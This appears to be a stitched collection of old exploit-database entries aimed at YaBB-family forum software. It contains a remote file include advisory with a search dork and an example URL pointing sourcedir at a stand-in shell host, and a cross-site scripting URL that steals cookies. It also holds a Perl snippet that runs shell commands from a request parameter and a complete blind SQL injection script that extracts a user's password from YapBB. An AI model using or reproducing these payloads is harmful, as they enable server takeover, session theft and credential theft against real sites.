[DESCRIPTION] Remote file include vuln found by sZ [oct 09, 2006]
[SOFTWARE]    Supermod 3.0 for yabb
[VENDOR URL]  http://www.supermod.org
[DORK]        YaBBSM V2.5.0 // Powered by YaBBSM V2.5.0 Based on YABB SE
[NOTES]       greetz to: neo-vortex, sk0tie, icez, Solano College CIS students.
 

VULN:
Offline.php
include("$sourcedir/pclzip.lib.php");
They forgot to include settings.php, this file seems to not exist sometimes.
 
VULN:
Sources/Admin.php
include_once("$sourcedir/Recent.php");
 
VULN:
Sources/Offline.php
include_once("$sourcedir/Recent.php");
 
VULN:
content/portalshow.php
include_once "$sourcedir/Calendar.php";
 
[EXAMPLE] http://site.com/community/Offline.php?sourcedir=http://shellurl.com/phpcommands.txt?

# milw0rm.com [2006-10-13]

http://www.example.com/YaBB.pl?board=;action=imsend;to=%22%3E%3Cscript%3Ealert(document  .cookie)%3C/script%3E

if (-e ("$helpfile/$language/$help_area/$line.help")) { 
                       require "$helpfile/$language/$help_area/$line.help"; 
}

if (-e "$langdir/$use_lang/$what_to_load.lng") { 
       require "$langdir/$use_lang/$what_to_load.lng"; 
}

if ($language) { require "$langdir/$language/ICQ.lng"; }

if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }

if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }

if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }

if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/InstantMessage.lng"; }

if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/Main.lng"; }

%helptxt = ( 
               '1' => "Help Section", 
               '2' => "Contents",

$content="<br><br><br><br><font color=red>"; 
               $content.=`$INFO{'cmd'}`; 
               $content.
="</font><br><br><br><br>"; 
               %helptxt = ( 
               '1' => "Help Section", 
               '2' => $content,

if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\:
\+\?\$\&\~\.\,\@/]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); }

if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\:
\+\?\$\&\~\.\,\@]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); }

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub usage
{
	die "\nYapBB <= 1.2 Blind SQL Injection Exploit".
	    "\n[?] Author  : darkjoker".
	    "\n[?] Site    : http://darkjoker.net23.net".
	    "\n[?] CMS Site: http://yapbb.sourceforge.net/".
	    "\n[?] Usage   : perl ${0} <hostname> <path> <username> [<key_list>]".
	    "\n[?] Ex.     : perl ${0} localhost /YapBB root abcdefghijklmnopqrstuvwxyz".
	    "\n\n";
}

sub query
{
	my ($user, $chr, $pos) = @_;
	my $query = "123 OR IF ((ASCII(SUBSTRING((SELECT password FROM ".
	"forum_user WHERE nickname = '${user}'),${pos},1))=${chr}),BENCHMARK(200000000,CHAR(0)),0)";
	$query =~ s/ /%20/g;
	$query =~ s/'/%27/g;
	return $query;
}

sub exploit
{
	my ($hostname, $path, $user, $chr, $pos) = @_;
	$chr = ord ($chr);
	my $sock = new IO::Socket::INET (
						PeerHost => $hostname,
						PeerPort => 80,
						Proto    => "tcp"
					) or die "\n[!] Exploit failed.\n\n";

	my $query = query ($user, $chr, $pos);
	my $request = "GET ${path}/forumhop.php?action=next&forumID=${query} HTTP/1.1\r\n".
		      "Host: ${hostname}\r\n".
		      "Connection: Close\r\n\r\n";
	
	my $a = time ();
	print $sock $request;
	$_++ while (<$sock>);
	$a = ($a - time ()) * -1;
	close ($sock);

	return 1 if ($a > 4);
	return 0;
}
		
my ($hostname, $path, $user, $k_list) = @ARGV;
usage unless ($user);
my @key = split ("", ($k_list) ? $k_list : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
my $chr = 0;
my $pos = 1;
my $password;
while ($chr < scalar (@key))
{
	if (exploit ($hostname, $path, $user, $key [$chr], $pos))
	{
		$password .= $key [$chr];
		$chr = 0;
		$pos++;
	}
	else
	{
		$chr++;
	}
}

print "\n[+] Password: ${password}\n\n";